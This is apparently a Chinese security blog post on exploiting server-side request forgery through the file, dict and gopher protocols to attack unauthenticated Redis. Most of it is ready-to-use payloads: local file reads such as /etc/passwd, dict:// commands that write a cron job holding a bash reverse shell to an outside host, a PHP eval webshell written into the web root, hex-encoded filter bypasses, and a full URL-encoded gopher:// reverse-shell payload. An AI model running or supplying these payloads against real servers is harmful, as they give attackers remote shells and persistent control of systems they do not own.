SSRF攻击与Gopher协议

目录

Gopher协议简介

SSRF攻击中常用协议

file协议

dict协议

gopher协议

Gopher攻击Redis

使用gopher协议写入定时任务

 Gopherus工具构造gopher协议数据流


Gopher协议简介

Gopher定义Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求,gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)


SSRF攻击中常用协议

file协议

file协议主要用于读取服务器本地文件,访问本地的静态资源

file协议数据格式:

file://文件绝对路径名

例如:

file:///etc/passwd
file:///var/www/html/index.php
file:///usr/local/apache-tomcat/conf/server.xml

dict协议

dict协议一般常用来探测内网主机以及端口开放情况,既然能够探测端口,那么可以探测不同端口对应的服务的指纹信息。当然dict协议也可以用来执行一些服务的命令,如redis

  • 内网主机探测
  • 开放端口探测
  • 端口服务指纹探测
  • 执行命令

注意:dict执行命令多行操作的命令时,只能一次执行单行,需分多次执行。

dict协议数据格式:

ditc://ip:port/命令

一、dict协议探测端口和服务指纹
dict://127.0.0.1:22
dict://172.22.10.10:3306
dict://127.0.0.1:6379/info
 
 
二、dict协议攻击redis,写入定时任务,进行反弹shell
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs
 
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save
 
注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"
 
 
三、dict协议攻击redis,写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
dict://127.0.0.1:6379/save
 
若存在过滤, 则利用16进制内容写入:
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"
 
 
四、dict协议攻击redis,写入ssh公钥
操作和写入定时任务相似
 

gopher协议

gopher协议在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务。

gopher协议数据格式:

gopher://ip:port/_TCP/IP数据流

注意:

  • gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行
  • 数据流末尾使用%0d%0a代表消息结束

Gopher攻击Redis

redis的协议数据流格式:

  • 数据流格式中CR LF表示的就是\r \n
*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

简单示例:

  • *4:表示4个参数 config、set、dir、/var/www/html
  • $6:表示每个参数的字节长度 config长度为6
*4
$6
config
$3
set
$3
dir
$13
/var/www/html

使用gopher协议写入定时任务

redis未授权常规写入定时任务的代码

set ttt "\n\n\n*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1\n\n\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
quite

代码的redis格式

*3
$3
set
$3
ttt
$69
 
 
 
*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1
 
 
 
 
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit

 gopher协议数据流将代码写入redis中,再利用linux监听

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/7777 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;而file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode;

 Gopherus工具构造gopher协议数据流

使用gopherus这款工具进行自动化生成payload。该工具支持生成多种服务利用的payload,其中包括了redis、mysql、fastcgi等

 

  • root用户执行的就会在/var/spool/cron/下面创建root文件
  • 2
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值